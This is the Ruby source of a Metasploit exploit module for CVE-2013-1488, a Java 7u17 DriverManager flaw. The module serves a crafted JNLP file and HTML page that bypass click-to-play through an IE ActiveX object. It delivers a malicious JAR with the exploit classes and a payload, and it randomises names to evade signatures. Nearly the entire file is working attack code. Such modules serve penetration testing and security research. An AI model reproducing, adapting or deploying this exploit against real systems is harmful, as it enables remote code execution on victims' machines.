Path: blob/master/modules/exploits/multi/browser/java_jre17_driver_manager.rb
31430 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Applet Driver Manager Privileged toString() Remote Code Execution',19'Description' => %q{20This module abuses the java.sql.DriverManager class where the toString() method21is called over user supplied classes from a doPrivileged block. The vulnerability22affects Java version 7u17 and earlier. This exploit bypasses click-to-play on Internet Explorer23and throws a specially crafted JNLP file. This bypass is applicable mainly to IE, where Java24Web Start can be launched automatically through the ActiveX control. Otherwise, the25applet is launched without click-to-play bypass.26},27'License' => MSF_LICENSE,28'Author' => [29'James Forshaw', # Vulnerability discovery and Analysis30'juan vazquez' # Metasploit module31],32'References' => [33[ 'CVE', '2013-1488' ],34[ 'OSVDB', '91472' ],35[ 'BID', '58504' ],36[ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ],37[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ],38[ 'ZDI', '13-076' ]39],40'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },41'Targets' => [42[43'Generic (Java Payload)',44{45'Platform' => ['java'],46'Arch' => ARCH_JAVA47}48],49[50'Windows x86 (Native Payload)',51{52'Platform' => 'win',53'Arch' => ARCH_X8654}55],56[57'Mac OS X x86 (Native Payload)',58{59'Platform' => 'osx',60'Arch' => ARCH_X8661}62],63[64'Linux x86 (Native Payload)',65{66'Platform' => 'linux',67'Arch' => ARCH_X8668}69],70],71'DefaultTarget' => 0,72'DisclosureDate' => '2013-01-10',73'Notes' => {74'Reliability' => UNKNOWN_RELIABILITY,75'Stability' => UNKNOWN_STABILITY,76'SideEffects' => UNKNOWN_SIDE_EFFECTS77}78)79)80end8182def setup83path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'Exploit.class')84@exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }85path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'FakeDriver.class')86@driver_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }87path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'FakeDriver2.class')88@driver2_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }89path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'META-INF', 'services', 'java.lang.Object')90@object_services = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }91path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1488', 'META-INF', 'services', 'java.sql.Driver')92@driver_services = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }9394@exploit_class_name = rand_text_alpha('Exploit'.length)95@exploit_class.gsub!('Exploit', @exploit_class_name)9697@jnlp_name = rand_text_alpha(8)9899super100end101102def jnlp_file103jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"104105jnlp = %(106<?xml version="1.0" encoding="utf-8"?>107<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">108<information>109<title>Applet Test JNLP</title>110<vendor>#{rand_text_alpha(8)}</vendor>111<description>#{rand_text_alpha(8)}</description>112<offline-allowed/>113</information>114115<resources>116<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />117<jar href="#{rand_text_alpha(8)}.jar" main="true" />118</resources>119<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">120<param name="__applet_ssv_validated" value="true"></param>121</applet-desc>122<update check="background"/>123</jnlp>124)125return jnlp126end127128def on_request_uri(cli, request)129print_status("handling request for #{request.uri}")130131case request.uri132when /\.jnlp$/i133send_response(cli, jnlp_file, { 'Content-Type' => 'application/x-java-jnlp-file' })134when /\.jar$/i135jar = payload.encoded_jar136jar.add_file("#{@exploit_class_name}.class", @exploit_class)137jar.add_file('FakeDriver.class', @driver_class)138jar.add_file('FakeDriver2.class', @driver2_class)139jar.add_file('META-INF/services/java.lang.Object', @object_services)140jar.add_file('META-INF/services/java.sql.Driver', @driver_services)141metasploit_str = rand_text_alpha('metasploit'.length)142payload_str = rand_text_alpha('payload'.length)143jar.entries.each do |entry|144entry.name.gsub!('metasploit', metasploit_str)145entry.name.gsub!('Payload', payload_str)146entry.data = entry.data.gsub('metasploit', metasploit_str)147entry.data = entry.data.gsub('Payload', payload_str)148end149jar.build_manifest150151send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' })152when %r{/$}153payload = regenerate_payload(cli)154if !payload155print_error('Failed to generate the payload.')156send_not_found(cli)157return158end159send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })160else161send_redirect(cli, get_resource + '/', '')162end163end164165def generate_html166jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"167168# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass169# Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass170html = %(171<html>172<body>173<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>174<param name="app" value="#{jnlp_uri}">175<param name="back" value="true">176<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>177</object>178</body>179</html>180)181return html182end183end184185186